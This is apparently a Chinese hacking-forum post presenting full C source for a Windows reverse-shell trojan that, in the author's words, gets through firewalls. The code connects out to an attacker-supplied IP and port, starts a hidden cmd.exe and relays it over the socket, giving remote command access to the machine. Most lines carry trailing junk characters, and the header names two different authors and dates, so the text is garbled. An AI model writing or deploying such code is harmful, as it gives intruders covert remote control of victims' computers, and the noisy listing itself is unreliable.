这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X |zQZ<CO
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/* ============================== :>4pH
Rebound port in Windows NT &YC Z
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By wind,2006/7 :FB-GNd
===============================*/
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#include NbgK#;
#include ]^j:}#R
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#pragma comment(lib,"wsock32.lib") hEUS&`K
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void OutputShell(); (#I$4Px{
SOCKET sClient; B=14
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {9?++G"\
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void main(int argc,char **argv) r9MS,KG8
{ (=&z:-52V
WSADATA stWsaData; p[oR4 HWr
int nRet; [bM$n
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SOCKADDR_IN stSaiClient,stSaiServer; vd<r}3i*
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if(argc != 3) OM,Dy&Y
{ ~EIK
printf("Useage:\n\rRebound DestIP DestPort\n"); QFekj@
return; oKyl2jg+,
} =u\W{1
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WSAStartup(MAKEWORD(2,2),&stWsaData); 'O>p@BEK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 10tlD<eYb
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stSaiClient.sin_family = AF_INET; `r#]dT[g
stSaiClient.sin_port = htons(0); &<nj~BL
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); YQ? "~[mL
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vciO={M
{ FYBW3y+AF&
printf("Bind Socket Failed!\n"); ,c]<Yu
return; \7V[G6'{
} r4MPs-}oF
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stSaiServer.sin_family = AF_INET; N[=c|frho
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %*bGW'Cw
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cQzUR^oq,
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ol3].0Vc]
{ E+Eug{+
printf("Connect Error!"); +HDfEo T
return; .@KI,_X6,
} r;n^\[Ov0,
OutputShell(); 7&`Yl[G
} )L+>^cJI<
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void OutputShell() >mAi/TZC
{ Ll$,"}0T
char szBuff[1024]; yDapl(
SECURITY_ATTRIBUTES stSecurityAttributes; 'Lu d=u{
OSVERSIONINFO stOsversionInfo; g:oB j6$
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S1I# qb
STARTUPINFO stStartupInfo; SD_P=?
char *szShell; r }S>t~p:
PROCESS_INFORMATION stProcessInformation; `RlMfd
unsigned long lBytesRead; `g+Kv&546
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2}uSrA7n]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gmUX
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stSecurityAttributes.lpSecurityDescriptor = 0; cj;k{Moc
stSecurityAttributes.bInheritHandle = TRUE; ()MUyW"S#`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); a{
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _aP2gH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >F5E^DY
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ' e:rL.
stStartupInfo.wShowWindow = SW_HIDE; 2n3!pZ8
stStartupInfo.hStdInput = hReadPipe; ]G}:cCpd+a
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7pO/!Lm
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GetVersionEx(&stOsversionInfo); qFE(H1hy
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switch(stOsversionInfo.dwPlatformId) v*JXrB&x
{ G`r/ te sW
case 1: dZkj|Ua~
szShell = "command.com"; aZ'(ar:
break; :h8-y&;
default: Yn5a4
szShell = "cmd.exe"; quL+UFuM
break;
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} |>/m{L[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =rN_8&
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send(sClient,szMsg,77,0); , Y^GQ`~#
while(1) y:YJv x6&4
{ }u+cS[#-
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u=
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if(lBytesRead) ,zOv-pH
{ (R]b'3,E$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,uL}O]L
send(sClient,szBuff,lBytesRead,0); -ZH6*7!
} x"~gulcz
else =gAn;~
{ -Mzm~@_s]
lBytesRead=recv(sClient,szBuff,1024,0); (9KiIRN
if(lBytesRead<=0) break; i4\DSQJ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TG6E^3a P
} xM_+vN*(
} E*s8 nQ"
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return; |$D`*
}